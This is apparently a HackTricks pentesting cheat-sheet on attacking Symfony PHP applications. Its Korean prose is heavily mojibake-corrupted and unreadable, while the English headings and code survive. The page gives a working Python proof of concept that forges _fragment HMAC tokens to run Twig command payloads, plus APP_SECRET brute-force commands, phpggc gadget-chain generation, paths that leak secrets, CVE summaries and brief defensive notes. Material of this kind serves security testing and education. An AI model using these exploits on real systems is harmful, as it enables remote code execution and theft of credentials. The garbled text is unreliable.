Symfony
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Symfony๋ ๊ฐ์ฅ ๋๋ฆฌ ์ฌ์ฉ๋๋ PHP ํ๋ ์์ํฌ ์ค ํ๋๋ก, ๊ธฐ์ , ์ ์์๊ฑฐ๋ ๋ฐ CMS ํ๊ฒ(Drupal, Shopware, Ibexa, OroCRM โฆ ๋ชจ๋ Symfony ๊ตฌ์ฑ ์์๋ฅผ ํฌํจํจ)์ ํ๊ฐ์์ ์ ๊ธฐ์ ์ผ๋ก ๋ฑ์ฅํฉ๋๋ค. ์ด ํ์ด์ง๋ Symfony ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ฐ๊ฒฌํ ๋ ์ฒดํฌ๋ฆฌ์คํธ์ ํฌํจํด์ผ ํ ๊ณต๊ฒฉ์ ์ธ ํ, ์ผ๋ฐ์ ์ธ ์๋ชป๋ ๊ตฌ์ฑ ๋ฐ ์ต๊ทผ ์ทจ์ฝ์ ์ ์์งํฉ๋๋ค.
์ญ์ฌ์ ์ฐธ๊ณ : ์ํ๊ณ์ ํฐ ๋ถ๋ถ์ด ์ฌ์ ํ 5.4 LTS ๋ธ๋์น๋ฅผ ์คํํ๊ณ ์์ต๋๋ค (EOL 2025๋ 11์). ๋ง์ 2023-2025 ๋ณด์ ๊ถ๊ณ ๊ฐ ํจ์น ๋ฆด๋ฆฌ์ค์์๋ง ์์ ๋๋ฏ๋ก ์ ํํ ๋ง์ด๋ ๋ฒ์ ์ ํญ์ ํ์ธํ์ธ์ (์: 5.4.46 โ 5.4.50).
Recon & Enumeration
Finger-printing
- HTTP ์๋ต ํค๋:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Link๋๋sf_redirect,sf_session,MOCKSESSID๋ก ์์ํ๋ ์ฟ ํค. - ์์ค ์ฝ๋ ์ ์ถ(
composer.json,composer.lock,/vendor/โฆ)์ ์ข ์ข ์ ํํ ๋ฒ์ ์ ๋๋ฌ๋ ๋๋ค:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Symfony์๋ง ์กด์ฌํ๋ ๊ณต๊ฐ ๊ฒฝ๋ก:
/_profiler(Symfony Profiler ๋ฐ ๋๋ฒ๊ทธ ํด๋ฐ)/_wdt/<token>(โWeb Debug Toolbarโ)/_error/{code}.{_format}(์์ ์ค๋ฅ ํ์ด์ง)/app_dev.php,/config.php,/config_dev.php(4.0 ์ด์ ๊ฐ๋ฐ ํ๋ก ํธ ์ปจํธ๋กค๋ฌ)- Wappalyzer, BuiltWith ๋๋ ffuf/feroxbuster ๋จ์ด ๋ชฉ๋ก:
symfony.txtโ/_fragment,/_profiler,.env,.htaccess๋ฅผ ์ฐพ์ผ์ธ์.
Interesting files & endpoints
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod | ์์ฃผ ์๋ชป ๋ฐฐํฌ๋จ โ APP_SECRET, DB ์๊ฒฉ ์ฆ๋ช
, SMTP, AWS ํค ์ ์ถ |
/.git, .svn, .hg | ์์ค ๊ณต๊ฐ โ ์๊ฒฉ ์ฆ๋ช + ๋น์ฆ๋์ค ๋ก์ง |
/var/log/*.log, /log/dev.log | ์น ๋ฃจํธ ์๋ชป ๊ตฌ์ฑ์ผ๋ก ์คํ ์ถ์ ๋ ธ์ถ |
/_profiler | ์ ์ฒด ์์ฒญ ๊ธฐ๋ก, ๊ตฌ์ฑ, ์๋น์ค ์ปจํ ์ด๋, APP_SECRET (โค 3.4) |
/_fragment | ESI/HInclude์ ์ํด ์ฌ์ฉ๋๋ ์ง์
์ . APP_SECRET์ ์๋ฉด ๋จ์ฉ ๊ฐ๋ฅ |
/vendor/phpunit/phpunit/phpunit | ์ ๊ทผ ๊ฐ๋ฅ ์ PHPUnit RCE (CVE-2017-9841) |
/index.php/_error/{code} | ์ง๋ฌธ ์ธ์ ๋ฐ ๋๋๋ก ์์ธ ์ถ์ ์ ์ถ |
High-impact Vulnerabilities (2023-2025)
1. APP_SECRET ์ ์ถ โ RCE via /_fragment (์ผ๋ช
โsecret-fragmentโ)
- CVE-2019-18889์์ ์ ๋ํ์ง๋ง ์ฌ์ ํ ๋๋ฒ๊ทธ๊ฐ ํ์ฑํ๋์ด ์๊ฑฐ๋
.env๊ฐ ๋ ธ์ถ๋ ํ๋ ํ๊ฒ์์ ๋ํ๋ฉ๋๋ค. - 32์
APP_SECRET์ ์๊ฒ ๋๋ฉด HMAC ํ ํฐ์ ์์ฑํ๊ณ ๋ด๋ถrender()์ปจํธ๋กค๋ฌ๋ฅผ ๋จ์ฉํ์ฌ ์์์ Twig๋ฅผ ์คํํฉ๋๋ค:
# PoC โ ๋น๋ฐ์ด ํ์ํจ
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeefโฆ')
payload = "{{['id']|filter('system')}}" # Twig์์ RCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- ํ๋ฅญํ ์์ฑ ๋ฐ ์ ์ฉ ์คํฌ๋ฆฝํธ: Ambionics ๋ธ๋ก๊ทธ (์ฐธ์กฐ์ ๋งํฌ๋จ).
2. Windows Process Hijack โ CVE-2024-51736
Process๊ตฌ์ฑ ์์๊ฐ Windows์์PATH์ด์ ์ ํ์ฌ ์์ ๋๋ ํ ๋ฆฌ๋ฅผ ๊ฒ์ํ์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์น ๋ฃจํธ์tar.exe,cmd.exe๋ฑ์ ์ ๋ก๋ํ๊ณProcess๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ฉด (์: ํ์ผ ์ถ์ถ, PDF ์์ฑ) ๋ช ๋ น ์คํ์ ์ป์ต๋๋ค.- 5.4.50, 6.4.14, 7.1.7์์ ํจ์น๋จ.
3. Session-Fixation โ CVE-2023-46733
- ์ธ์ฆ ๊ฐ๋๊ฐ ๋ก๊ทธ์ธ ํ ๊ธฐ์กด ์ธ์ ID๋ฅผ ์ฌ์ฌ์ฉํ์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ํผํด์๊ฐ ์ธ์ฆํ๊ธฐ ์ ์ ์ฟ ํค๋ฅผ ์ค์ ํ๋ฉด ๋ก๊ทธ์ธ ํ ๊ณ์ ์ ํ์ทจํฉ๋๋ค.
4. Twig sandbox XSS โ CVE-2023-46734
- ์ฌ์ฉ์ ์ ์ด ํ
ํ๋ฆฟ(๊ด๋ฆฌ CMS, ์ด๋ฉ์ผ ๋น๋)์ ๋
ธ์ถํ๋ ์ ํ๋ฆฌ์ผ์ด์
์์
nl2brํํฐ๋ฅผ ๋จ์ฉํ์ฌ ์๋๋ฐ์ค๋ฅผ ์ฐํํ๊ณ JS๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค.
5. Symfony 1 ๊ฐ์ ฏ ์ฒด์ธ (์ฌ์ ํ ๋ ๊ฑฐ์ ์ฑ์์ ๋ฐ๊ฒฌ๋จ)
phpggc symfony/1 system id๋sfNamespacedParameterHolder์ ๊ฐ์ ํด๋์ค์์ unserialize()๊ฐ ๋ฐ์ํ ๋ RCE๋ฅผ ์ ๋ฐํ๋ Phar ํ์ด๋ก๋๋ฅผ ์์ฑํฉ๋๋ค. ํ์ผ ์ ๋ก๋ ์๋ํฌ์ธํธ ๋ฐphar://๋ํผ๋ฅผ ํ์ธํ์ธ์.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeefโฆ "template=@App/evil&filter=raw&_format=html"
์ฝํ APP_SECRET์ ๋ํ ๋ฌด์ฐจ๋ณ ๋์
๊ณต๊ฒฉ
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
bin/console์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ php-fpm ๋๋ ์ง์ CLI ์
๋ก๋๋ฅผ ํตํด:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
์ฌ์ฉ์ ์ ์ ์ง๋ ฌํ ๊ฐ์ ฏ์ ์บ์ ๋๋ ํ ๋ฆฌ ๋ด์์ ์ฌ์ฉํ๊ฑฐ๋ ๋ค์ ์์ฒญ ์ ์คํ๋ ์ ์ฑ Twig ํ ํ๋ฆฟ์ ์์ฑํ์ญ์์ค.
๋ฐฉ์ด ๋ ธํธ
- ๋๋ฒ๊ทธ๋ฅผ ๋ฐฐํฌํ์ง ๋ง์ญ์์ค (
APP_ENV=dev,APP_DEBUG=1); ์น ์๋ฒ ๊ตฌ์ฑ์์/app_dev.php,/_profiler,/_wdt๋ฅผ ์ฐจ๋จํ์ญ์์ค. - ๋น๋ฐ์ env ๋ณ์ ๋๋
vault/secrets.local.php์ ์ ์ฅํ๊ณ , ์ ๋ ๋ฌธ์ ๋ฃจํธ๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ํ์ผ์ ์ ์ฅํ์ง ๋ง์ญ์์ค. - ํจ์น ๊ด๋ฆฌ๋ฅผ ์ํํ์ญ์์ค โ Symfony ๋ณด์ ๊ถ๊ณ ์ ๊ตฌ๋ ํ๊ณ ์ต์ํ LTS ํจ์น ์์ค์ ์ ์งํ์ญ์์ค.
- Windows์์ ์คํํ๋ ๊ฒฝ์ฐ, ์ฆ์ CVE-2024-51736์ ์ํํ๊ธฐ ์ํด ์
๊ทธ๋ ์ด๋ํ๊ฑฐ๋
open_basedir/disable_functions๋ฐฉ์ด ๊น์ด๋ฅผ ์ถ๊ฐํ์ญ์์ค.
์ ์ฉํ ๊ณต๊ฒฉ ๋๊ตฌ
- ambionics/symfony-exploits โ ๋น๋ฐ ์กฐ๊ฐ RCE, ๋๋ฒ๊ฑฐ ๊ฒฝ๋ก ๋ฐ๊ฒฌ.
- phpggc โ Symfony 1 & 2๋ฅผ ์ํ ๊ธฐ์ฑ ๊ฐ์ ฏ ์ฒด์ธ.
- sf-encoder โ
_fragmentHMAC์ ๊ณ์ฐํ๊ธฐ ์ํ ์์ ๋์ฐ๋ฏธ (Go ๊ตฌํ).
์ฐธ์กฐ
- Ambionics โ Symfony โsecret-fragmentโ ์๊ฒฉ ์ฝ๋ ์คํ
- Symfony ๋ณด์ ๊ถ๊ณ โ CVE-2024-51736: Windows ํ๋ก์ธ์ค ๊ตฌ์ฑ ์์์์์ ๋ช ๋ น ์คํ ํ์ทจ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


